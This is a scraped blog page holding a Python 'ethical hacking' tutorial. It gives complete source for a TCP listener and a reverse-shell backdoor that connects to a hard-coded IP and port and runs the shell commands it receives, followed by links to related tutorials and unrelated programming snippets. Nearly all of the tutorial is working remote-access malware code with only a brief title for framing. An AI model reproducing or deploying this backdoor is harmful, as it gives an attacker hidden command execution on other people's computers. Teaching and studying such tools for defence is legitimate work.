Python Ethical Hacking - BACKDOORS(2)
Refactoring - Creating a Listener Class
#!/usr/bin/env python
import socket class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address)) def execute_remotely(self, command):
self.connection.send(command)
return self.connection.recv(1024).decode() def run(self):
while True:
command = input(">> ").encode()
result = self.execute_remotely(command)
print(result) my_listener = Listener("10.0.0.43", 4444)
my_listener.run()
Creating a Backdoor class:
#!/usr/bin/env python
import socket
import subprocess class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port)) def execute_system_command(self, command):
return subprocess.check_output(command, shell=True) def run(self):
while True:
command = self.connection.recv(1024).decode()
command_result = self.execute_system_command(command)
self.connection.send(command_result)
connection.close() my_backdoor = Backdoor("10.0.0.43", 4444)
my_backdoor.run()
Python Ethical Hacking - BACKDOORS(2)的更多相关文章
- Python Ethical Hacking - BACKDOORS(8)
Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ...
- Python Ethical Hacking - BACKDOORS(3)
BACKDOORS Sockets Problem: TCP is stream-based. Difficult to identify the end of message/batch. Solu ...
- Python Ethical Hacking - BACKDOORS(1)
REVERSE_BACKDOOR Access file system. Execute system commands. Download files. Upload files. Persiste ...
- Python Ethical Hacking - BACKDOORS(7)
Handling Errors: If the client or server crashes, the connection will be lost. Backdoor crashes if: ...
- Python Ethical Hacking - BACKDOORS(6)
File Upload: A file is a series of characters. Uploading a file is the opposite of downloading a fil ...
- Python Ethical Hacking - BACKDOORS(5)
File Download: A file is a series of characters. Therefore to transfer a file we need to: 1. Read th ...
- Python Ethical Hacking - BACKDOORS(4)
REVERSE_BACKDOOR - cd command Access file system: cd command changes current working directory. It h ...
- Python Ethical Hacking - ARP Spoofing
Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ...
- Python Ethical Hacking - NETWORK_SCANNER(2)
DICTIONARIES Similar to lists but use key instead of an index. LISTS List of values/elements, all ca ...
随机推荐
- UWP实现第二字幕并且跟随系统的设置
话不多说,先看一下最终效果 系统设置默认 在系统设置里面更改字幕的显示效果 需求 要求播放器可以显示第二字幕,类似旁白的文字解释.比如片中出现了一个专业术语,这个时候观众可能有些疑惑.所以需要在屏幕上 ...
- Laya 吐槽日志.
新换了一个公司,公司有两个产品都是用的laya, 一个as写的2D游戏, 一个ts写的3D游戏 as写小游戏,各种不舒服啊, 一堆 __JS这样的代码, 体验极差. laya IDE 按钮只能做 ...
- SpringMVC面试专题
SpringMVC面试专题 1. 简单的谈一下SpringMVC的工作流程? 流程 1.用户发送请求至前端控制器DispatcherServlet 2.DispatcherServlet收到请求调用H ...
- 使用 nuget server 的 API 来实现搜索安装 nuget 包
使用 nuget server 的 API 来实现搜索安装 nuget 包 Intro nuget 现在几乎是 dotnet 开发不可缺少的一部分了,还没有用过 nuget 的就有点落后时代了,还不快 ...
- Git报错信息
1. 解决办法: 当在最后提交的时候,出现的错误. 解决办法: git remote rm origin 执行下面代码: git remote add origin https://github.co ...
- js语法基础入门(2)
2.变量 2.1.变量的声明 声明变量的时候没有赋值,默认输出undefined //通过var 声明一个变量 var user: //默认输出undefined 可以同时声明多个变量 var use ...
- 从数据库中取时间值,遇到:java.sql.Timestamp cannot be cast to java.lang.Long
将 java.sql.Timestamp 类型转换为 java.util.Date 类型.二者其实是父子关系,直接 Date d = (Date)时间戳 就可以了. Date d = (Date)时间 ...
- 51单片机入门1--与C语言的交接
我们即将进入51单片机的编程学习,咱们今天就来讲解一下单片机中的C语言(你可以称作C51) 在说编程之前,要先说一些别的东西: 二进制,八进制,十六进制 二进制中只有数字0和1,在二进制中1+1为10 ...
- idea为本地项目创建仓库并git到云上
1.为本地项目创建一个本地仓库: 2.在码云上创建一个仓库,(初始化的时候先不要创建README.md文件) 3.本地仓库关联远程仓库:右键项目选址git>>repository>& ...
- python案例远程执行命令
------类似于cmd的功能,client执行命令,server发命令结果发送到client -----------server.py------------------- import subpr ...